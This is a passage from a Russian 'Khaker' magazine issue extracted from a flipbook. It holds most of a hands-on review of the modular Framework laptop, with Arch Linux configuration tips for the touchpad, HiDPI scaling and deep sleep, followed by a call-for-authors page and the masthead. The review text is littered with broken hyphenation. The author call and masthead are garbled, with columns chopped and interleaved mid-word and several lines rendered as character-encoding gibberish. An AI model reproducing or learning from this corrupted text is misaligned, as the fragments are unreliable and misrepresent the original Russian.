кты сле‐­ дующих модулей: • двойн­ ой USB-C; • RFID-ридер; • Raspberry Pi Pico. А вот и  еще один весьм­ а интер­ есн­ ый прое­ кт, но  тольк­ о в  форм­ е идеи: бо‐­ ковой дисп­ лей с разл­ ичной информац­ ией. Мод­ уль‑дисп­ лей Здесь созд­ атели ноутб­ ука собираю­ т идеи для новых модулей. Пока лидирую­ т: • Ethernet-адапт­ ер; • полн­ оразм­ ерный карт­ рид­ ер; • выс­ окок­ ачест­ венн­ ый аудио­ вых­ од. ОС, ДРОВА И БУБЕН Когд­ а все будет в сбор­ е, можн­ о подк­ люч­ ить кабель питания к одном­ у из пор‐­ тов USB-C (да, это дейс­ твит­ ельн­ о удобн­ о, когд­ а сам выбирае­ шь, в какое мес‐­ то корп­ уса втык­ ать кабель питания) и  включ­ ить ноутб­ ук. В  ответ он вежл­ иво попр­ осит встав­ ить загр­ узочн­ ую флешк­ у с инсталл­ ятором ОС. Уже десять лет на все свои устройс­ тва я устан­ авл­ иваю Arch Linux, а в слу‐­ чае с  наст­ ольк­ о необычн­ ым ноутб­ уком Arch с  его ванильн­ ым ядром  — это  очень непл­ охой спос­ об пров­ ерк­ и комп­ онент­ ов ноутб­ ука на  совм­ ести‐­ мость с чем‑то, отличным от Windows или Ubuntu. Сказ­ ано — сдел­ ано, спуст­ я неск­ ольк­ о часов возн­ и имее­ м устан­ овл­ енный Arch прим­ ерн­ о в  так­ ой конф­ игурац­ ии. Сраз­ у замечае­ м два бага перв­ ых ревизий ноутб­ ука. 1. По умолч­ анию задерж­ ка при загр­ узке ноутб­ ука равн­ а нулю. Груз­ итс­ я быс‐­ тро, но  врем­ ени, чтоб­ ы нажать F2  или  F12 (наст­ ройк­ и BIOS или  в экран выбора загр­ узочн­ ого носител­ я), крайн­ е мало. Прих­ одитс­ я букв­ альн­ о дол‐­ бить по клав­ ише, пока машина загр­ ужае­ тся. Исправл­ яетс­ я через наст­ рой‐­ ки BIOS. 2. Сам­ а по себе клав­ иша F12 может не сраб­ отать. Это подт­ вержденн­ ый баг, который обещ­ ают исправ­ ить в след­ ующих верс­ иях прош­ ивк­ и. Из того, что сраз­ у брос­ аетс­ я в глаз­ а уже посл­ е загр­ узки ОС: • нер­ абот­ ающие мульт­ имедийн­ ые клав­ иши; • очень неторопл­ ивое движ­ ение курс­ ора при использ­ овании тачп­ ада. Перв­ ая пробл­ ема станд­ арт­ на для  Arch Linux, здесь такие вещи кажд­ ый нас‐­ траи­ вает под  себя сам. Втор­ ая пробл­ ема, вмест­ е с  неработ­ ающим тапом по тачп­ аду, решае­ тся в три строчк­ и в ~/.xinitrc: ID=`xinput list --id-only 'PIXA3854:00 093A:0274 Touchpad'` xinput set-prop $ID \"libinput Tapping Enabled\" 1 xinput set-prop $ID \"Coordinate Transformation Matrix\" 1 0 0 0 1 0 0 0 0.4 Еще одна пробл­ ема  — прекр­ асный экран. В  ноутб­ уке устан­ овл­ ен  13,5-дюй‐­ мовый (к сожален­ ию, глянц­ евый) IPS-дисп­ лей BOE NE135FBM-N41 с широким цвет­ овым охват­ ом, высокой конт­ растностью и  очень непл­ охим запасом яркости (заявл­ ено больш­ е  400  нит). Пробл­ ема (для Linux-сист­ емы) тольк­ о в  том, что это  Retina-дисп­ лей с  разр­ ешение­ м  2256  на  1504  точк­ и. Так что по дефолт­ у все элем­ ент­ ы управлен­ ия очень мелк­ ие и неюзаб­ ельн­ ые. Реш­ аетс­ я эта пробл­ ема опять же станд­ арт­ но для Arch Linux — правк­ ой ~/. xinitrc: xrandr --dpi 192 export QT_AUTO_SCREEN_SCALE_FACTOR=1 export GDK_DPI_SCALE=1.5 Перв­ ая команд­ а устан­ авл­ ивае­ т DPI экран­ а в 192 DP (ровн­ о в два раза больш­ е станд­ арт­ ног­ о), втор­ ая — актив­ ируе­ т автом­ атич­ еск­ ую подст­ ройк­ у интерфейс­ а в  Qt-прил­ ожен­ иях, третья  — увел­ ичив­ ает масш­ таб граф­ ическ­ их элем­ ент­ ов в GTK-прил­ ожен­ иях в полт­ ора раза. Лэпт­ оп без пробл­ ем засыпае­ т, но, как сказ­ ано в Wiki Arch Linux, по  умол‐­ чанию вмест­ о глуб­ оког­ о сна почему‑то включ­ аетс­ я неэфф­ ективн­ ый механизм s2idle. Это легк­ о исправ­ ить такой команд­ ой: # echo deep > /sys/power/mem_sleep И зафикс­ ировать измен­ ение от сброс­ а в конф­ иге GRUB: GRUB_CMDLINE_LINUX_DEFAULT=\"loglevel=3 quiet mem_sleep_default=deep\" # grub-mkconfig -o /boot/grub/grub.cfg Скан­ ер отпеч­ атк­ ов пальц­ ев работае­ т без пробл­ ем посл­ е устан­ овк­ и fprintd, добавл­ ения отпеч­ атк­ ов с помощью fprintd-enroll и  модифик­ ации файл­ ов PAM. Все остальн­ ое работае­ т из коробк­ и без всяк­ их танц­ ев с бубн­ ом. INFO Все эти заморочк­ и прис­ утст­ вую­ т тольк­ о в  Arch Linux, дист­ риб­ утив­ е, где все прих­ одитс­ я делать руками. В той же Ubuntu все работае­ т из коробк­ и, за  исключ­ ение­ м режима сна. Он исправл­ яетс­ я таким же образ­ ом, как опис­ ано выше. РАЗМЕР, КЛАВИАТУРА, ТАЧПАД Эта статья  — не  обзор ноутб­ ука с  точк­ и зрен­ ия характ­ ерист­ ик, эргон­ омик­ и, качест­ ва клав­ иатур­ ы, тачп­ ада или экран­ а. Во‑перв­ ых, такие обзор­ ы уже есть, а во‑втор­ ых, у меня все равн­ о не получитс­ я лучш­ е. Поэ­ том­ у вмест­ о очер­ едн­ ой пузомерк­ и я пост­ араю­ сь расс­ каз­ ать о  свои­ х личн­ ых впеч­ атл­ ения­ х как  польз­ овател­ я и  покл­ онник­ а стар­ ой школ­ ы  — того, кто любит стар­ ые модели синк­ пад­ ов и не перевар­ ивае­ т ноутб­ уки Apple (вни‐­ мание, дальш­ е очень мног­ о субъе­ ктивщин­ ы). Клав­ иатур­ а. Если бы мне предл­ ожили вслеп­ ую напечат­ ать на этом ноут‐­ буке текст, я бы, скор­ ее всег­ о, сказ­ ал, что это  клав­ иатур­ а ноутб­ ука HP пре‐­ миум‑сегм­ ента. Да, клав­ иатур­ ы HP счит­ аютс­ я очень непл­ охими, но для такого человек­ а, как  я, практ­ ическ­ и любая островн­ ая совр­ еменн­ ая клав­ иатур­ а неудобн­ а. Да, я почт­ и к ней прив­ ык, даже к «склее­ нной» крест­ овине, но посл­ е ThinkPad это было сдел­ ать сложн­ о. Тачп­ ад. Огромный тачп­ ад, как  сейч­ ас модн­ о. Судя по  отзыв­ ам друг­ их польз­ овател­ ей и собст­ венн­ ому опыт­ у, он весьм­ а непл­ ох, и к нему даже можн­ о прив­ ыкн­ уть. Но в сравн­ ении с трекп­ ойн­ том любой тачп­ ад — это десять шагов назад. Разм­ ер. Типичн­ ый для  устройс­ тв этог­ о класс­ а разм­ ер. Несм­ отря на индекс ремонт­ оприг­ одн­ ости iFixit 10/10, ноутб­ ук не выгл­ ядит толс­ тым (при‐­ мерн­ о в полт­ ора раза толщ­ е макб­ ука). При этом он немн­ ого шире больш­ инс‐­ тва ульт­ раб­ уков прост­ о из‑за экран­ а с  соотн­ ошение­ м стор­ он  3 : 2. Мас‐­ са 1,3 кг, опять же абсол­ ютн­ о станд­ арт­ ная. Эрг­ ономик­ а. Framework использ­ ует станд­ арт­ ную форм­ улу макб­ уков, которую сейч­ ас можн­ о найт­ и повс­ юду, от Microsoft до Huawei: матовый алю‐­ миние­ вый корп­ ус, узкие рамк­ и вокр­ уг экран­ а, минимум деталей. При  этом ноутб­ ук изнач­ альн­ о кажетс­ я более прия­ тным глаз­ у, чем, напр­ имер, HP EliteBook. Единст­ венн­ ый упрек — не очень жест­ кая фикс­ ация открыт­ ой крыш‐­ ки. Покачив­ аетс­ я при малейш­ ем движ­ ении. Врем­ я жизн­ и от  батареи. Здесь все прекр­ асно, при  комф­ орт­ ной для  помещен­ ия яркости и  умер­ енн­ ом использ­ овании (брау­ зер, правк­ а тек‐­ стов, написан­ ие кода в Vim, некотор­ ое врем­ я прост­ оя без уход­ а в сон) ноут‐­ бук прож­ ил десять часов. И  кстат­ и, да, как  и любой совр­ еменн­ ый ноутб­ ук с  зарядк­ ой от  USB Type-C, он может быть запитан от  поверб­ анка, главн­ ое, чтоб­ ы посл­ едний мог выдать 60 Вт. Врем­ я полн­ ой зарядк­ и — окол­ о полутор­ а часов. Шум и прои­ звод­ ительн­ ость. Прои­ звод­ ительн­ ость вполн­ е станд­ арт­ ная для  проц­ есс­ ора i5  11-го поколен­ ия, поэтом­ у что‑то еще  добавл­ ять здесь не  имее­ т смысл­ а. Играть на  таком ноутб­ уке вряд ли кто‑то будет (а если будет, то скаж­ у, что Subnautica идет на  средн­ их), а  личн­ о для  моих задач, которые включ­ ают веб‑серф­ инг, разр­ аботк­ у прил­ ожен­ ий и  написан­ ие тек‐­ стов, его прои­ звод­ ительн­ ост­ и хват­ ает за глаз­ а. Тяжелые задачи непл­ охо наг‐­ реваю­ т середин­ у нижн­ ей крышк­ и и  заст­ авляю­ т вент­ илятор довольн­ о сильн­ о шуметь, но не так, чтоб­ ы расп­ угать всех вокр­ уг. Все остальн­ ое врем­ я девайс абсол­ ютн­ о холодн­ ый и бесш­ умный. Кам­ ера. Никогд­ а не  использ­ ую ноутб­ ук для  звонк­ ов по  скайп­ у или  зуму. Так что про  камеру и  микр­ офон могу сказ­ ать тольк­ о три вещи: камера на 1080p; камера и микр­ офон физическ­ и отключ­ аютс­ я при закр­ ытии крышк­ и; есть возм­ ожность отключ­ ить камеру и  микр­ офон вручн­ ую с  помощью спе‐­ циальн­ ых перекл­ ючател­ ей. Защ­ елк­ и камеры и микр­ офона БУДУЩЕЕ Framework позицио­ нир­ уетс­ я как  ноутб­ ук, приг­ одн­ ый для  апгрейд­ а. В  теории это долж­ но быть устройс­ тво, которое обесп­ ечит свое­ му хозяи­ ну макс­ ималь‐­ ную прои­ звод­ ительн­ ость на  прот­ яжен­ ии мног­ их лет, прост­ о за  счет воз‐­ можност­ и апгрейд­ а комп­ онент­ ов. В  будущее мы загл­ януть не  можем, но можем сдел­ ать некотор­ ые предп­ оложен­ ия. 1. Пам­ ять. В  моем ноутб­ уке устан­ овл­ ена всег­ о одна планк­ а памяти объ‐­ емом 32 Гбайт. Думаю, что на ближ­ айш­ ие пару лет этог­ о хват­ ит с запасом. Далее можн­ о купить и устан­ овить еще одну планк­ у и получить макс­ ималь‐­ ные для Framework 64 Гбайт. 2. Проц­ есс­ ор. Проц­ есс­ ор здесь, разумее­ тся, несъе­ мный. Но вся материн‐­ ская плат­ а спрое­ ктир­ ован­ а так, чтоб­ ы ее можн­ о было вынуть одним куск­ ом и  легк­ о заменить друг­ ой. Судя по  форуму, разр­ аботч­ ики вполн­ е заин‐­ тересов­ аны в проц­ есс­ орах AMD и ARM, так что в будущем возм­ ожно появ‐­ ление материнс­ кой плат­ ы на  друг­ ом проц­ есс­ оре и  даже архит­ ект­ уре (и с больш­ им огран­ ичен­ ием на макс­ имальн­ ую память). Вопр­ ос тольк­ о в том, как долг­ о будет подд­ ержив­ атьс­ я текущий дизайн шасс­ и. 3. Порт­ ы. Очев­ идн­ о, что USB-A доживае­ т свои дни и через пару‑тройк­ у лет его оконч­ ательн­ о вытесн­ ит USB-C. В случ­ ае с Framework я прост­ о выкину два свои­ х модуля USB-A и закажу еще парочк­ у модулей USB-C. 4. Клав­ иатур­ а с трекп­ ойн­ том. Я бы очень хотел получить такую клав­ иату‐­ ру, ее реализ­ ация не затр­ уднен­ а никаким­ и техн­ ическ­ ими огран­ ичен­ иями. Но этог­ о, скор­ ее всег­ о, никогд­ а не случ­ итс­ я. ВЫВОДЫ Стои­ т ли покупать Framework? Конечн­ о, стои­ т. Даже если напл­ евать на  все возм­ ожност­ и каст­ омизац­ ии и апгрейд­ а, это очень непл­ охой ноутб­ ук. За те же деньг­ и можн­ о купить HP EliteBook или одну из  моделей Lenovo ThinkPad, но, скор­ ее всег­ о, она будет менее прои­ звод­ ительн­ а, с худш­ им экран­ ом и с впа‐­ янной опер­ ативн­ ой памятью (прив­ ет новым моделям­ и линейк­ и ThinkPad X). Соперн­ иков у Framework в этом ценовом диапаз­ оне практ­ ическ­ и нет. Есл­ и же тебе нужен ноутб­ ук «стар­ ой школ­ ы», то Framework может подойт­ и и  не подойт­ и одноврем­ енн­ о. С  одной стор­ оны, у  него прост­ о прекр­ асный внутр­ енний дизайн, позв­ оляю­ щий с  легк­ остью заменить любую деталь ноут‐­ бука, нараст­ ить память, обнов­ ить батарею или  выкинуть неподх­ одящий модуль Wi-Fi. С друг­ ой — он «слишк­ ом совр­ еменн­ ый». В нем прост­ о нет тех элем­ ент­ ов, за  которые мы любим класс­ ическ­ ие ноутб­ уки: трекп­ ойн­ та, неос‐­ тровн­ ой полн­ оценн­ ой клав­ иатур­ ы, возм­ ожност­ и дать ноутб­ уком по  голове и  сраз­ у прод­ олж­ ить на  нем работать. Все эти качест­ ва сегодн­ я в  какой‑то мере остал­ ись исключ­ ительн­ о в  Lenovo ThinkPad, вот тольк­ о в  план­ е надеж‐­ ности, ремонт­ оприг­ одн­ ости и  апгрейд­ а он уже давн­ о сдал позиции. Так что выбирать прих­ одитс­ я из двух зол: хочешь трекп­ ойн­ т — жерт­ вуй всем осталь‐­ ным. Нак­ онец, идеа­ льн­ ый вариа­ нт  — когд­ а ты полюбил совр­ еменн­ ый дизайн ноутб­ уков (или смир­ илс­ я с  ним), но  возн­ енавид­ ел то, во  что они прев‐­ ратились изнутри. В этом случ­ ае Framework для тебя прост­ о отличный вари‐­ ант, золотой граа­ ль и свящ­ енн­ ое руно в одном флак­ оне. Судя по всем­ у, при‐­ мерн­ о в такую аудит­ орию метили созд­ атели ноутб­ ука.

СТАНЬ А «ХАКЕ «Хакеру» нужны новые авторы из них! Если тебе интересно желание исследовать эти темы возможность вступить в ряды за это все, что им причитается. • Àâòîðû ïîëó÷àþò äåíåæíîå от сложности и уникальности темы не от объема текста). • Íàøè àâòîðû ÷èòàþò «Õàêåð» статья приносит месяц подписки и з ку. Уже после третьего раза подписк Кроме того, íàëè÷èå ïóáëèêàöèé — ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû англоязычной версии, так что ó òåáÿ ðóáåæîì. И конечно, ìû âñåãäà óêàçûâàå àâòîðà. На сайте ты можешь сам запо написать что-то о себе, добавить ссыл наоборот, не делать этого в целях консп ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎ ÑÒÀÒÜÞ? Главное в нашем деле — знания по те тему — значит, и написать сможешь. неваться — поддержим, накосячишь — столько редакторов! Они не только пр и форматом и «причесывают» автор ходимость. И конечно, перед публикаци ки и вносим новые, если нужно. ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ? Темы для статей — дело непростое, показаться. Стоит начать, и ты навер за другой! Первым делом задай себе нескольк • «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî Частый случай: люди делают что занятие вполне обыденным. Если т про реверс малвари, сборку ядра соров или хранение данных в ДНК, благодарных читателей. • «Áûëè ëè ó ìåíÿ â ïîñëåäíåå â ты ресерчишь, багхантишь, решаеш разрабатываешь что-то необычно какую-то удобную штуковину, обяза думаем, как лучше подать твои нара • «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ Попробуй вспомнить: если ты букв о чем-то очень важном или захватыв с немалой вероятностью это мож Или как минимум натолкнет тебя на т • «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåð мы о чем-то не писали, это могло б никому не пришла в голову эта т взял бы ее на себя. Кстати, даже есл кинуть нам идею все равно можно. Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé? 1. Придумываешь актуальную тему или 2. Описываешь эту тему так, чтобы бы ее кому-то читать. Обычно достато предложений (pro tip: их потом можн 3. Выбираешь редактора и отправляеш он разберется). Заодно неплохо б слов о себе. 4. С редактором согласуете детали и с ет тебе правила оформления и отве 5. Пишешь статью в срок и отправляе лемы, сомнения или просто задержк 6. Редактор читает статью, принима доработать и руководством к действ 7. Перед публикацией получаешь ве с редактором (или просто даешь доб 8. Дожидаешься выхода статьи и посту TL;DR Если хочешь публиковаться в «Хакере и предложи редакции.

АВТОРОМ ЕРА»! ы, и ты можешь стать одним то, о чем мы пишем, и есть ы вместе с нами, то не упусти ы наших авторов и получать . âîçíàãðàæäåíèå. Размер зависит ы и объема проделанной работы (но áåñïëàòíî: каждая опубликованная значительно увеличивает личную скид- ка станет бесплатной навсегда. — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü û â òåìå. А еще мы планируем запуск áóäåò øàíñ áûòü óçíàííûì è çà åì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì олнить характеристику, поставить фото, лку на сайт и профили в соцсетях. Или, пирации. ÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ еме, а не корочки журналиста. Знаешь Не умеешь — поможем, будешь сом- — отредактируем. Не зря у нас работает равят буквы, но и помогают с темами рский текст, если в этом есть необ- ией мы согласуем с автором все прав- , но и не такое сложное, как может рняка будешь придумывать темы одну ко простых вопросов: î ìîæåò çàèíòåðåñîâàòü äðóãèõ?» о-то потрясающее, но считают свое твоя мама и девушка не хотят слушать Linux, проектирование микропроцес- это не значит, что у тебя не найдется âðåìÿ èíòåðåñíûå ïðîåêòû?» Если шь crackme или задачки на CTF, если ты ое или даже просто настроил себе ательно расскажи нам! Мы вместе при- аботки. þ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?» вально недавно рассказывал кому-то вающем (и связанным с ИБ или ИТ), то жет быть неплохой темой для статьи. тему. ðå óïóñòèëè ÷òî‑òî âàæíîå?» Если быть не умышленно. Возможно, просто тема или не было человека, который ли писать сам ты не собираешься, под- и несколько. ыло понятно, что будет в статье и зачем очно рабочего заголовка и нескольких но пустить на введение). шь ему свои темы (можно главреду — бывает представиться и написать пару сроки сдачи черновика. Также он выда- ечает на все интересующие вопросы. ешь ее. Если возникают какие-то проб- ки, ты знаешь, к кому обращаться. ает ее или возвращает с просьбой вию. ерсию с правками и обсуждаешь их бро). упления вознаграждения. е», придумай тему для первой статьи

№08 (269) Илья Ру Ан­дрей Письм­ ен­ный Зам. глав­ног Глав­ный редак­тор по тех­ничес­ки [email protected] rusanen Ев­гения Ш Литера­тур­ны Анд­ рей Письм­ ен­ный РЕДАКТОР [email protected] Ев­гений Тать­яна Чуп­рова [email protected] zobnin@ Ма Бруцкий-Сте brutsky@ MEGAN Ма­рия Не nefedova АР yamb yambuto@ РЕКЛ Ан­на Як Дирек­тор по с yakovleva. РАСПРОСТРАНЕН Вопр­ осы по под­писке: [email protected] Адр­ ес редакц­ ии: 125080, город Моск­ ва, Волокол­ амс­ кое шосс­ е, дом 1, Югай Алекс­ андр Олег­ ович, 400046, Волг­ оградс­ кая область, г. Волг­ огра город Моск­ ва, Волокол­ амс­ кое шосс­ е, дом 1, строе­ ние 1, этаж 8, помещ по надз­ ору в сфер­ е связ­ и, информац­ ионн­ ых техн­ ологий и масс­ овых ком 08.2​ 016  года. Мнен­ ие редакц­ ии не  обяз­ ательн­ о совп­ адае­ т с  мнен­ ием к  разм­ ышлен­ ию. Лица, использ­ ующие данн­ ую информац­ ию в  прот­ иво не несет ответст­ венн­ ости за содерж­ ание рекл­ амных объя­ влен­ ий в номе редакц­ ионн­ ых материа­ лов журн­ ала обращ­ айт­ есь по адрес­ у: [email protected]

усанен Алекс­ ей Глаз­ков Выпус­кающий редак­тор го редак­тора им воп­росам [email protected] [email protected] Шарипо­ва ый редак­тор РЫ РУБРИК й Зобн­ ин Ва­лен­тин Хол­могоров @glc.ru [email protected] арк Иван «aLLy» Андре­ев емпковский [email protected] @glc.ru NEWS ефёдо­ва [email protected] РТ buto @gmail.com ЛАМА ков­лева спец­про­ектам [email protected] НИЕ И ПОДПИСКА В​ опр­ осы по матери­алам: [email protected]​ строе­ ние 1, этаж 8, помещен­ ие IX, комн­ ата 54, офис 7. Издат­ ель: ИП ад, ул. Дружб­ ы народов, д. 54. Учред­ итель: ООО «Медиа Кар»​1​ 25080, щен­ ие IX, комн­ ата 54, офис 7. Зарегист­ рир­ ован­ о в Федеральн­ ой служб­ е мм­ уникац­ ий (Роск­ омнадз­ оре), свид­ етельс­ тво Э​ л № Ф​ С77-6​ 7001 от ​30.​ м автор­ ов. Все материа­ лы в  номере пред­ ост­ авляю­ тся как  информац­ ия оз­ аконн­ ых целях, могут быть привл­ ечены к  ответст­ венн­ ости. Редакц­ ия ере. По вопр­ осам лиценз­ ирован­ ия и получен­ ия прав на использ­ ование ru. © Журн­ ал «Хакер», РФ, 2021


Like this book? You can publish your book online for free in a few minutes!
Create your own flipbook